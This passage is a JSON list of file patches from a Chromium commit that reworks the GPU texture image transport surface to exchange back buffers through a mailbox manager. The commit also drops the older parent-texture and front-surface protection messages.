"content/common/gpu/gpu_command_buffer_stub.cc", "status": "modified", "additions": 0, "deletions": 2, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/gpu_command_buffer_stub.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/gpu_command_buffer_stub.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/gpu/gpu_command_buffer_stub.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -136,8 +136,6 @@ GpuCommandBufferStub::GpuCommandBufferStub(\n new GpuCommandBufferMemoryTracker(channel),\n true);\n }\n- if (handle_.sync_point)\n- OnWaitSyncPoint(handle_.sync_point);\n }\n \n GpuCommandBufferStub::~GpuCommandBufferStub() {"}<_**next**_>{"sha": "ff9e8eaa495e30b484af8aaa9b1bb8df82691c18", "filename": "content/common/gpu/gpu_messages.h", "status": "modified", "additions": 4, "deletions": 15, "changes": 19, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/gpu_messages.h", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/gpu_messages.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/gpu/gpu_messages.h?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -46,6 +46,7 @@ IPC_STRUCT_BEGIN(GpuHostMsg_AcceleratedSurfaceNew_Params)\n IPC_STRUCT_MEMBER(int32, width)\n IPC_STRUCT_MEMBER(int32, height)\n IPC_STRUCT_MEMBER(uint64, surface_handle)\n+ IPC_STRUCT_MEMBER(std::string, mailbox_name)\n IPC_STRUCT_MEMBER(int32, route_id)\n #if defined(OS_MACOSX)\n IPC_STRUCT_MEMBER(gfx::PluginWindowHandle, window)\n@@ -63,8 +64,6 @@ IPC_STRUCT_BEGIN(GpuHostMsg_AcceleratedSurfaceBuffersSwapped_Params)\n #if defined(OS_MACOSX)\n IPC_STRUCT_MEMBER(gfx::PluginWindowHandle, window)\n #endif\n- IPC_STRUCT_MEMBER(uint32, protection_state_id)\n- IPC_STRUCT_MEMBER(bool, skip_ack)\n IPC_STRUCT_END()\n #undef IPC_MESSAGE_EXPORT\n #define IPC_MESSAGE_EXPORT\n@@ -81,12 +80,10 @@ IPC_STRUCT_BEGIN(GpuHostMsg_AcceleratedSurfacePostSubBuffer_Params)\n #if defined(OS_MACOSX)\n IPC_STRUCT_MEMBER(gfx::PluginWindowHandle, window)\n #endif\n- IPC_STRUCT_MEMBER(uint32, protection_state_id)\n IPC_STRUCT_END()\n \n IPC_STRUCT_BEGIN(GpuHostMsg_AcceleratedSurfaceRelease_Params)\n IPC_STRUCT_MEMBER(int32, surface_id)\n- IPC_STRUCT_MEMBER(uint64, identifier)\n IPC_STRUCT_MEMBER(int32, route_id)\n #if defined(OS_MACOSX)\n IPC_STRUCT_MEMBER(gfx::PluginWindowHandle, window)\n@@ -197,10 +194,6 @@ IPC_STRUCT_TRAITS_BEGIN(gfx::GLSurfaceHandle)\n IPC_STRUCT_TRAITS_MEMBER(transport)\n IPC_STRUCT_TRAITS_MEMBER(parent_gpu_process_id)\n IPC_STRUCT_TRAITS_MEMBER(parent_client_id)\n- IPC_STRUCT_TRAITS_MEMBER(parent_context_id)\n- IPC_STRUCT_TRAITS_MEMBER(parent_texture_id[0])\n- IPC_STRUCT_TRAITS_MEMBER(parent_texture_id[1])\n- IPC_STRUCT_TRAITS_MEMBER(sync_point)\n IPC_STRUCT_TRAITS_END()\n \n IPC_ENUM_TRAITS(content::CauseForGpuLaunch)\n@@ -280,16 +273,12 @@ IPC_MESSAGE_CONTROL1(GpuMsg_SetVideoMemoryWindowCount,\n // view.\n IPC_MESSAGE_ROUTED0(AcceleratedSurfaceMsg_ResizeViewACK)\n \n-// Tells the GPU process if it's worth suggesting release of the front surface.\n-IPC_MESSAGE_ROUTED2(AcceleratedSurfaceMsg_SetFrontSurfaceIsProtected,\n- bool /* is_protected */,\n- uint32 /* protection_state_id */)\n-\n // Tells the GPU process that the browser process has handled the swap\n // buffers or post sub-buffer request. A non-zero sync point means\n-// that we should wait for the sync point.\n+// that we should wait for the sync point. The surface_handle identifies\n+// that buffer that has finished presented, i.e. the buffer being returned.\n IPC_MESSAGE_ROUTED2(AcceleratedSurfaceMsg_BufferPresented,\n- bool /* presented */,\n+ uint64 /* surface_handle */,\n uint32 /* sync_point */)\n \n // Tells the GPU process to remove all contexts."}<_**next**_>{"sha": "96240c72d6e179c2adc0f63e9ac480f1a5aba5db", "filename": "content/common/gpu/image_transport_surface.cc", "status": "modified", "additions": 3, "deletions": 14, "changes": 17, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/image_transport_surface.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/image_transport_surface.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/gpu/image_transport_surface.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -24,10 +24,6 @@ ImageTransportSurface::ImageTransportSurface() {}\n \n ImageTransportSurface::~ImageTransportSurface() {}\n \n-void ImageTransportSurface::OnSetFrontSurfaceIsProtected(\n- bool is_protected, uint32 protection_state_id) {\n-}\n-\n void ImageTransportSurface::GetRegionsToCopy(\n const gfx::Rect& previous_damage_rect,\n const gfx::Rect& new_damage_rect,\n@@ -100,8 +96,6 @@ bool ImageTransportHelper::OnMessageReceived(const IPC::Message& message) {\n IPC_BEGIN_MESSAGE_MAP(ImageTransportHelper, message)\n IPC_MESSAGE_HANDLER(AcceleratedSurfaceMsg_BufferPresented,\n OnBufferPresented)\n- IPC_MESSAGE_HANDLER(AcceleratedSurfaceMsg_SetFrontSurfaceIsProtected,\n- OnSetFrontSurfaceIsProtected)\n IPC_MESSAGE_HANDLER(AcceleratedSurfaceMsg_ResizeViewACK, OnResizeViewACK);\n IPC_MESSAGE_UNHANDLED(handled = false)\n IPC_END_MESSAGE_MAP()\n@@ -212,14 +206,9 @@ gpu::gles2::GLES2Decoder* ImageTransportHelper::Decoder() {\n return stub_->decoder();\n }\n \n-void ImageTransportHelper::OnSetFrontSurfaceIsProtected(\n- bool is_protected, uint32 protection_state_id) {\n- surface_->OnSetFrontSurfaceIsProtected(is_protected, protection_state_id);\n-}\n-\n-void ImageTransportHelper::OnBufferPresented(bool presented,\n+void ImageTransportHelper::OnBufferPresented(uint64 surface_handle,\n uint32 sync_point) {\n- surface_->OnBufferPresented(presented, sync_point);\n+ surface_->OnBufferPresented(surface_handle, sync_point);\n }\n \n void ImageTransportHelper::OnResizeViewACK() {\n@@ -322,7 +311,7 @@ bool PassThroughImageTransportSurface::OnMakeCurrent(gfx::GLContext* context) {\n }\n \n void PassThroughImageTransportSurface::OnBufferPresented(\n- bool /* presented */,\n+ uint64 /* surface_handle */,\n uint32 /* sync_point */) {\n DCHECK(transport_);\n helper_->SetScheduled(true);"}<_**next**_>{"sha": "17a2be6dc0e347c35db38abec4399d871f5b472f", "filename": "content/common/gpu/image_transport_surface.h", "status": "modified", "additions": 3, "deletions": 7, "changes": 10, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/image_transport_surface.h", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/image_transport_surface.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/gpu/image_transport_surface.h?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -60,11 +60,9 @@ class ImageTransportSurface {\n public:\n ImageTransportSurface();\n \n- virtual void OnBufferPresented(bool presented, uint32 sync_point) = 0;\n+ virtual void OnBufferPresented(uint64 surface_handle, uint32 sync_point) = 0;\n virtual void OnResizeViewACK() = 0;\n virtual void OnResize(gfx::Size size) = 0;\n- virtual void OnSetFrontSurfaceIsProtected(bool is_protected,\n- uint32 protection_state_id);\n \n // Creates the appropriate surface depending on the GL implementation.\n static scoped_refptr<gfx::GLSurface>\n@@ -143,10 +141,8 @@ class ImageTransportHelper\n gpu::gles2::GLES2Decoder* Decoder();\n \n // IPC::Message handlers.\n- void OnBufferPresented(bool presented, uint32 sync_point);\n+ void OnBufferPresented(uint64 surface_handle, uint32 sync_point);\n void OnResizeViewACK();\n- void OnSetFrontSurfaceIsProtected(bool is_protected,\n- uint32 protection_state_id);\n \n // Backbuffer resize callback.\n void Resize(gfx::Size size);\n@@ -181,7 +177,7 @@ class PassThroughImageTransportSurface\n virtual bool OnMakeCurrent(gfx::GLContext* context) OVERRIDE;\n \n // ImageTransportSurface implementation.\n- virtual void OnBufferPresented(bool presented,\n+ virtual void OnBufferPresented(uint64 surface_handle,\n uint32 sync_point) OVERRIDE;\n virtual void OnResizeViewACK() OVERRIDE;\n virtual void OnResize(gfx::Size size) OVERRIDE;"}<_**next**_>{"sha": "f476f7554c472a8589fe08616dfd27da0ee4d72c", "filename": "content/common/gpu/image_transport_surface_android.cc", "status": "modified", "additions": 0, "deletions": 1, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/image_transport_surface_android.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/image_transport_surface_android.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/gpu/image_transport_surface_android.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -18,7 +18,6 @@ scoped_refptr<gfx::GLSurface> ImageTransportSurface::CreateSurface(\n const gfx::GLSurfaceHandle& handle) {\n scoped_refptr<gfx::GLSurface> surface;\n if (!handle.handle && handle.transport) {\n- DCHECK(handle.parent_client_id);\n surface = new TextureImageTransportSurface(manager, stub, handle);\n } else if (handle.handle == gfx::kDummyPluginWindow && !handle.transport) {\n DCHECK(GpuSurfaceLookup::GetInstance());"}<_**next**_>{"sha": "1d10b211485a03132e949486ef2c8726472b060a", "filename": "content/common/gpu/image_transport_surface_linux.cc", "status": "modified", "additions": 0, "deletions": 1, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/image_transport_surface_linux.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/image_transport_surface_linux.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/gpu/image_transport_surface_linux.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -16,7 +16,6 @@ scoped_refptr<gfx::GLSurface> ImageTransportSurface::CreateSurface(\n scoped_refptr<gfx::GLSurface> surface;\n if (!handle.handle) {\n DCHECK(handle.transport);\n- DCHECK(handle.parent_client_id);\n surface = new TextureImageTransportSurface(manager, stub, handle);\n } else {\n surface = gfx::GLSurface::CreateViewGLSurface(false, handle.handle);"}<_**next**_>{"sha": "4f888dba9414d26768125d81944f7f7df2f7e571", "filename": "content/common/gpu/image_transport_surface_mac.cc", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/image_transport_surface_mac.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/image_transport_surface_mac.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/gpu/image_transport_surface_mac.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -57,7 +57,7 @@ class IOSurfaceImageTransportSurface : public gfx::NoOpGLSurfaceCGL,\n \n protected:\n // ImageTransportSurface implementation\n- virtual void OnBufferPresented(bool presented,\n+ virtual void OnBufferPresented(uint64 surface_handle,\n uint32 sync_point) OVERRIDE;\n virtual void OnResizeViewACK() OVERRIDE;\n virtual void OnResize(gfx::Size size) OVERRIDE;\n@@ -268,7 +268,7 @@ gfx::Size IOSurfaceImageTransportSurface::GetSize() {\n return size_;\n }\n \n-void IOSurfaceImageTransportSurface::OnBufferPresented(bool presented,\n+void IOSurfaceImageTransportSurface::OnBufferPresented(uint64 surface_handle,\n uint32 sync_point) {\n DCHECK(is_swap_buffers_pending_);\n is_swap_buffers_pending_ = false;"}<_**next**_>{"sha": "62296a7a571de66422e9ddfa0e3c8068378655e6", "filename": "content/common/gpu/image_transport_surface_win.cc", "status": "modified", "additions": 3, "deletions": 2, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/image_transport_surface_win.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/image_transport_surface_win.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/gpu/image_transport_surface_win.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -50,7 +50,8 @@ class PbufferImageTransportSurface\n \n protected:\n // ImageTransportSurface implementation\n- virtual void OnBufferPresented(bool presented, uint32 sync_point) OVERRIDE;\n+ virtual void OnBufferPresented(uint64 surface_handle,\n+ uint32 sync_point) OVERRIDE;\n virtual void OnResizeViewACK() OVERRIDE;\n virtual void OnResize(gfx::Size size) OVERRIDE;\n virtual gfx::Size GetSize() OVERRIDE;\n@@ -206,7 +207,7 @@ void PbufferImageTransportSurface::SendBuffersSwapped() {\n is_swap_buffers_pending_ = true;\n }\n \n-void PbufferImageTransportSurface::OnBufferPresented(bool presented,\n+void PbufferImageTransportSurface::OnBufferPresented(uint64 surface_handle,\n uint32 sync_point) {\n is_swap_buffers_pending_ = false;\n if (did_unschedule_) {"}<_**next**_>{"sha": "7fa269006a27910f6ddd9b682bda35872a1e7f0d", "filename": "content/common/gpu/texture_image_transport_surface.cc", "status": "modified", "additions": 185, "deletions": 264, "changes": 449, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/texture_image_transport_surface.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/texture_image_transport_surface.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/gpu/texture_image_transport_surface.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -16,17 +16,19 @@\n #include \"content/public/common/content_switches.h\"\n #include \"gpu/command_buffer/service/context_group.h\"\n #include \"gpu/command_buffer/service/gpu_scheduler.h\"\n-#include \"gpu/command_buffer/service/texture_manager.h\"\n+#include \"gpu/command_buffer/service/texture_definition.h\"\n \n using gpu::gles2::ContextGroup;\n+using gpu::gles2::MailboxManager;\n+using gpu::gles2::MailboxName;\n+using gpu::gles2::TextureDefinition;\n using gpu::gles2::TextureManager;\n-typedef TextureManager::TextureInfo TextureInfo;\n \n namespace content {\n \n TextureImageTransportSurface::Texture::Texture()\n- : client_id(0),\n- sent_to_client(false) {\n+ : service_id(0),\n+ surface_handle(0) {\n }\n \n TextureImageTransportSurface::Texture::~Texture() {\n@@ -37,17 +39,12 @@ TextureImageTransportSurface::TextureImageTransportSurface(\n GpuCommandBufferStub* stub,\n const gfx::GLSurfaceHandle& handle)\n : fbo_id_(0),\n- front_(0),\n stub_destroyed_(false),\n backbuffer_suggested_allocation_(true),\n frontbuffer_suggested_allocation_(true),\n- frontbuffer_is_protected_(true),\n- protection_state_id_(0),\n handle_(handle),\n- parent_stub_(NULL),\n is_swap_buffers_pending_(false),\n- did_unschedule_(false),\n- did_flip_(false) {\n+ did_unschedule_(false) {\n helper_.reset(new ImageTransportHelper(this,\n manager,\n stub,\n@@ -60,59 +57,30 @@ TextureImageTransportSurface::~TextureImageTransportSurface() {\n }\n \n bool TextureImageTransportSurface::Initialize() {\n- GpuChannelManager* manager = helper_->manager();\n- GpuChannel* parent_channel = manager->LookupChannel(handle_.parent_client_id);\n- if (!parent_channel)\n- return false;\n+ mailbox_manager_ =\n+ helper_->stub()->decoder()->GetContextGroup()->mailbox_manager();\n \n- parent_stub_ = parent_channel->LookupCommandBuffer(handle_.parent_context_id);\n- if (!parent_stub_)\n- return false;\n-\n- parent_stub_->AddDestructionObserver(this);\n- TextureManager* texture_manager =\n- parent_stub_->decoder()->GetContextGroup()->texture_manager();\n- DCHECK(texture_manager);\n-\n- for (int i = 0; i < 2; ++i) {\n- Texture& texture = textures_[i];\n- texture.client_id = handle_.parent_texture_id[i];\n- texture.info = texture_manager->GetTextureInfo(texture.client_id);\n- if (!texture.info)\n- return false;\n-\n- if (!texture.info->target())\n- texture_manager->SetInfoTarget(texture.info, GL_TEXTURE_2D);\n- texture_manager->SetParameter(\n- texture.info, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n- texture_manager->SetParameter(\n- texture.info, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n- texture_manager->SetParameter(\n- texture.info, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\n- texture_manager->SetParameter(\n- texture.info, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\n- }\n+ backbuffer_.surface_handle = 1;\n \n+ GpuChannelManager* manager = helper_->manager();\n surface_ = manager->GetDefaultOffscreenSurface();\n if (!surface_.get())\n return false;\n \n if (!helper_->Initialize())\n return false;\n \n- const CommandLine* command_line = CommandLine::ForCurrentProcess();\n- if (command_line->HasSwitch(switches::kUIPrioritizeInGpuProcess))\n- helper_->SetPreemptByCounter(parent_channel->MessagesPendingCount());\n+ GpuChannel* parent_channel = manager->LookupChannel(handle_.parent_client_id);\n+ if (parent_channel) {\n+ const CommandLine* command_line = CommandLine::ForCurrentProcess();\n+ if (command_line->HasSwitch(switches::kUIPrioritizeInGpuProcess))\n+ helper_->SetPreemptByCounter(parent_channel->MessagesPendingCount());\n+ }\n \n return true;\n }\n \n void TextureImageTransportSurface::Destroy() {\n- if (parent_stub_) {\n- parent_stub_->decoder()->MakeCurrent();\n- ReleaseParentStub();\n- }\n-\n if (surface_.get())\n surface_ = NULL;\n \n@@ -149,10 +117,23 @@ bool TextureImageTransportSurface::OnMakeCurrent(gfx::GLContext* context) {\n return true;\n }\n \n+ if (!context_.get()) {\n+ DCHECK(helper_->stub());\n+ context_ = helper_->stub()->decoder()->GetGLContext();\n+ }\n+\n if (!fbo_id_) {\n glGenFramebuffersEXT(1, &fbo_id_);\n glBindFramebufferEXT(GL_FRAMEBUFFER, fbo_id_);\n- CreateBackTexture(gfx::Size(1, 1));\n+ current_size_ = gfx::Size(1, 1);\n+ helper_->stub()->AddDestructionObserver(this);\n+ }\n+\n+ // We could be receiving non-deferred GL commands, that is anything that does\n+ // not need a framebuffer.\n+ if (!backbuffer_.service_id && !is_swap_buffers_pending_ &&\n+ backbuffer_suggested_allocation_) {\n+ CreateBackTexture();\n \n #ifndef NDEBUG\n GLenum status = glCheckFramebufferStatusEXT(GL_FRAMEBUFFER);\n@@ -163,10 +144,7 @@ bool TextureImageTransportSurface::OnMakeCurrent(gfx::GLContext* context) {\n return false;\n }\n #endif\n- DCHECK(helper_->stub());\n- helper_->stub()->AddDestructionObserver(this);\n }\n-\n return true;\n }\n \n@@ -180,38 +158,22 @@ void TextureImageTransportSurface::SetBackbufferAllocation(bool allocation) {\n return;\n backbuffer_suggested_allocation_ = allocation;\n \n- if (!helper_->MakeCurrent())\n- return;\n-\n if (backbuffer_suggested_allocation_) {\n- DCHECK(!textures_[back()].info->service_id() ||\n- !textures_[back()].sent_to_client);\n- CreateBackTexture(textures_[back()].size);\n+ DCHECK(!backbuffer_.service_id);\n+ CreateBackTexture();\n } else {\n- ReleaseTexture(back());\n+ ReleaseBackTexture();\n }\n }\n \n void TextureImageTransportSurface::SetFrontbufferAllocation(bool allocation) {\n if (frontbuffer_suggested_allocation_ == allocation)\n return;\n frontbuffer_suggested_allocation_ = allocation;\n- AdjustFrontBufferAllocation();\n-}\n \n-void TextureImageTransportSurface::AdjustFrontBufferAllocation() {\n- if (!helper_->MakeCurrent())\n- return;\n-\n- if (!frontbuffer_suggested_allocation_ && !frontbuffer_is_protected_ &&\n- textures_[front()].info->service_id()) {\n- ReleaseTexture(front());\n- if (textures_[front()].sent_to_client) {\n- GpuHostMsg_AcceleratedSurfaceRelease_Params params;\n- params.identifier = textures_[front()].client_id;\n- helper_->SendAcceleratedSurfaceRelease(params);\n- textures_[front()].sent_to_client = false;\n- }\n+ if (!frontbuffer_suggested_allocation_) {\n+ GpuHostMsg_AcceleratedSurfaceRelease_Params params;\n+ helper_->SendAcceleratedSurfaceRelease(params);\n }\n }\n \n@@ -228,50 +190,47 @@ void* TextureImageTransportSurface::GetConfig() {\n }\n \n void TextureImageTransportSurface::OnResize(gfx::Size size) {\n- CreateBackTexture(size);\n+ current_size_ = size;\n+ CreateBackTexture();\n }\n \n void TextureImageTransportSurface::OnWillDestroyStub(\n GpuCommandBufferStub* stub) {\n- if (stub == parent_stub_) {\n- ReleaseParentStub();\n- helper_->SetPreemptByCounter(NULL);\n- } else {\n- DCHECK(stub == helper_->stub());\n- stub->RemoveDestructionObserver(this);\n+ DCHECK(stub == helper_->stub());\n+ stub->RemoveDestructionObserver(this);\n \n- // We are losing the stub owning us, this is our last chance to clean up the\n- // resources we allocated in the stub's context.\n- if (fbo_id_) {\n- glDeleteFramebuffersEXT(1, &fbo_id_);\n- CHECK_GL_ERROR();\n- fbo_id_ = 0;\n- }\n+ GpuHostMsg_AcceleratedSurfaceRelease_Params params;\n+ helper_->SendAcceleratedSurfaceRelease(params);\n \n- stub_destroyed_ = true;\n+ ReleaseBackTexture();\n+\n+ // We are losing the stub owning us, this is our last chance to clean up the\n+ // resources we allocated in the stub's context.\n+ if (fbo_id_) {\n+ glDeleteFramebuffersEXT(1, &fbo_id_);\n+ CHECK_GL_ERROR();\n+ fbo_id_ = 0;\n }\n+\n+ stub_destroyed_ = true;\n }\n \n bool TextureImageTransportSurface::SwapBuffers() {\n DCHECK(backbuffer_suggested_allocation_);\n- if (!frontbuffer_suggested_allocation_ || !frontbuffer_is_protected_)\n+ if (!frontbuffer_suggested_allocation_)\n return true;\n- if (!parent_stub_) {\n- LOG(ERROR) << \"SwapBuffers failed because no parent stub.\";\n- return false;\n- }\n \n glFlush();\n- front_ = back();\n- previous_damage_rect_ = gfx::Rect(textures_[front()].size);\n+ ProduceTexture(backbuffer_);\n \n- DCHECK(textures_[front()].client_id != 0);\n+ // Do not allow destruction while we are still waiting for a swap ACK,\n+ // so we do not leak a texture in the mailbox.\n+ AddRef();\n \n+ DCHECK(backbuffer_.size == current_size_);\n GpuHostMsg_AcceleratedSurfaceBuffersSwapped_Params params;\n- params.surface_handle = textures_[front()].client_id;\n- params.size = textures_[front()].size;\n- params.protection_state_id = protection_state_id_;\n- params.skip_ack = false;\n+ params.surface_handle = backbuffer_.surface_handle;\n+ params.size = backbuffer_.size;\n helper_->SendAcceleratedSurfaceBuffersSwapped(params);\n \n DCHECK(!is_swap_buffers_pending_);\n@@ -282,68 +241,31 @@ bool TextureImageTransportSurface::SwapBuffers() {\n bool TextureImageTransportSurface::PostSubBuffer(\n int x, int y, int width, int height) {\n DCHECK(backbuffer_suggested_allocation_);\n- DCHECK(textures_[back()].info->service_id());\n- if (!frontbuffer_suggested_allocation_ || !frontbuffer_is_protected_)\n+ if (!frontbuffer_suggested_allocation_)\n return true;\n- // If we are recreating the frontbuffer with this swap, make sure we are\n- // drawing a full frame.\n- DCHECK(textures_[front()].info->service_id() ||\n- (!x && !y && gfx::Size(width, height) == textures_[back()].size));\n- if (!parent_stub_) {\n- LOG(ERROR) << \"PostSubBuffer failed because no parent stub.\";\n- return false;\n- }\n-\n const gfx::Rect new_damage_rect(x, y, width, height);\n+ DCHECK(gfx::Rect(gfx::Point(), current_size_).Contains(new_damage_rect));\n \n // An empty damage rect is a successful no-op.\n if (new_damage_rect.IsEmpty())\n return true;\n \n- int back_texture_service_id = textures_[back()].info->service_id();\n- int front_texture_service_id = textures_[front()].info->service_id();\n-\n- gfx::Size expected_size = textures_[back()].size;\n- bool surfaces_same_size = textures_[front()].size == expected_size;\n-\n- if (surfaces_same_size) {\n- std::vector<gfx::Rect> regions_to_copy;\n- GetRegionsToCopy(previous_damage_rect_, new_damage_rect, ®ions_to_copy);\n-\n- ScopedFrameBufferBinder fbo_binder(fbo_id_);\n- glFramebufferTexture2DEXT(GL_FRAMEBUFFER,\n- GL_COLOR_ATTACHMENT0,\n- GL_TEXTURE_2D,\n- front_texture_service_id,\n- 0);\n- ScopedTextureBinder texture_binder(back_texture_service_id);\n-\n- for (size_t i = 0; i < regions_to_copy.size(); ++i) {\n- const gfx::Rect& region_to_copy = regions_to_copy[i];\n- if (!region_to_copy.IsEmpty()) {\n- glCopyTexSubImage2D(GL_TEXTURE_2D, 0, region_to_copy.x(),\n- region_to_copy.y(), region_to_copy.x(), region_to_copy.y(),\n- region_to_copy.width(), region_to_copy.height());\n- }\n- }\n- } else if (!surfaces_same_size && did_flip_) {\n- DCHECK(new_damage_rect == gfx::Rect(expected_size));\n- }\n-\n glFlush();\n- front_ = back();\n- previous_damage_rect_ = new_damage_rect;\n+ ProduceTexture(backbuffer_);\n+\n+ // Do not allow destruction while we are still waiting for a swap ACK,\n+ // so we do not leak a texture in the mailbox.\n+ AddRef();\n \n- DCHECK(textures_[front()].client_id);\n+ DCHECK(current_size_ == backbuffer_.size);\n \n GpuHostMsg_AcceleratedSurfacePostSubBuffer_Params params;\n- params.surface_handle = textures_[front()].client_id;\n- params.surface_size = textures_[front()].size;\n+ params.surface_handle = backbuffer_.surface_handle;\n+ params.surface_size = backbuffer_.size;\n params.x = x;\n params.y = y;\n params.width = width;\n params.height = height;\n- params.protection_state_id = protection_state_id_;\n helper_->SendAcceleratedSurfacePostSubBuffer(params);\n \n DCHECK(!is_swap_buffers_pending_);\n@@ -360,7 +282,7 @@ std::string TextureImageTransportSurface::GetExtensions() {\n }\n \n gfx::Size TextureImageTransportSurface::GetSize() {\n- gfx::Size size = textures_[back()].size;\n+ gfx::Size size = current_size_;\n \n // OSMesa expects a non-zero size.\n return gfx::Size(size.width() == 0 ? 1 : size.width(),\n@@ -375,70 +297,60 @@ unsigned TextureImageTransportSurface::GetFormat() {\n return surface_.get() ? surface_->GetFormat() : 0;\n }\n \n-void TextureImageTransportSurface::OnSetFrontSurfaceIsProtected(\n- bool is_protected, uint32 protection_state_id) {\n- protection_state_id_ = protection_state_id;\n- if (frontbuffer_is_protected_ == is_protected)\n- return;\n- frontbuffer_is_protected_ = is_protected;\n- AdjustFrontBufferAllocation();\n-\n- // If surface is set to protected, and we haven't actually released it yet,\n- // we can set the ui surface handle now just by sending a swap message.\n- if (is_protected && textures_[front()].info->service_id() &&\n- textures_[front()].sent_to_client) {\n- GpuHostMsg_AcceleratedSurfaceBuffersSwapped_Params params;\n- params.surface_handle = textures_[front()].client_id;\n- params.size = textures_[front()].size;\n- params.protection_state_id = protection_state_id_;\n- params.skip_ack = true;\n- helper_->SendAcceleratedSurfaceBuffersSwapped(params);\n- }\n-}\n-\n-void TextureImageTransportSurface::OnBufferPresented(bool presented,\n+void TextureImageTransportSurface::OnBufferPresented(uint64 surface_handle,\n uint32 sync_point) {\n if (sync_point == 0) {\n- BufferPresentedImpl(presented);\n+ BufferPresentedImpl(surface_handle);\n } else {\n helper_->manager()->sync_point_manager()->AddSyncPointCallback(\n sync_point,\n base::Bind(&TextureImageTransportSurface::BufferPresentedImpl,\n- this->AsWeakPtr(),\n- presented));\n+ this,\n+ surface_handle));\n }\n-}\n \n-void TextureImageTransportSurface::BufferPresentedImpl(bool presented) {\n- DCHECK(is_swap_buffers_pending_);\n- is_swap_buffers_pending_ = false;\n+ // Careful, we might get deleted now if we were only waiting for\n+ // a final swap ACK.\n+ Release();\n+}\n \n- if (presented) {\n- // If we had not flipped, the two frame damage tracking is inconsistent.\n- // So conservatively take the whole frame.\n- if (!did_flip_)\n- previous_damage_rect_ = gfx::Rect(textures_[front()].size);\n+void TextureImageTransportSurface::BufferPresentedImpl(uint64 surface_handle) {\n+ DCHECK(!backbuffer_.service_id);\n+ if (surface_handle) {\n+ DCHECK(surface_handle == 1 || surface_handle == 2);\n+ backbuffer_.surface_handle = surface_handle;\n+ ConsumeTexture(backbuffer_);\n } else {\n- front_ = back();\n- previous_damage_rect_ = gfx::Rect(0, 0, 0, 0);\n+ // We didn't get back a texture, so allocate 'the other' buffer.\n+ backbuffer_.surface_handle = (backbuffer_.surface_handle == 1) ? 2 : 1;\n+ mailbox_name(backbuffer_.surface_handle) = MailboxName();\n+ }\n+\n+ if (stub_destroyed_ && backbuffer_.service_id) {\n+ // TODO(sievers): Remove this after changes to the mailbox to take ownership\n+ // of the service ids.\n+ DCHECK(context_.get() && surface_.get());\n+ if (context_->MakeCurrent(surface_.get()))\n+ glDeleteTextures(1, &backbuffer_.service_id);\n+\n+ return;\n }\n \n- did_flip_ = presented;\n+ DCHECK(is_swap_buffers_pending_);\n+ is_swap_buffers_pending_ = false;\n+\n+ // We should not have allowed the backbuffer to be discarded while the ack\n+ // was pending.\n+ DCHECK(backbuffer_suggested_allocation_);\n \n // We're relying on the fact that the parent context is\n // finished with it's context when it inserts the sync point that\n // triggers this callback.\n if (helper_->MakeCurrent()) {\n- if ((presented && textures_[front()].size != textures_[back()].size) ||\n- !textures_[back()].info->service_id() ||\n- 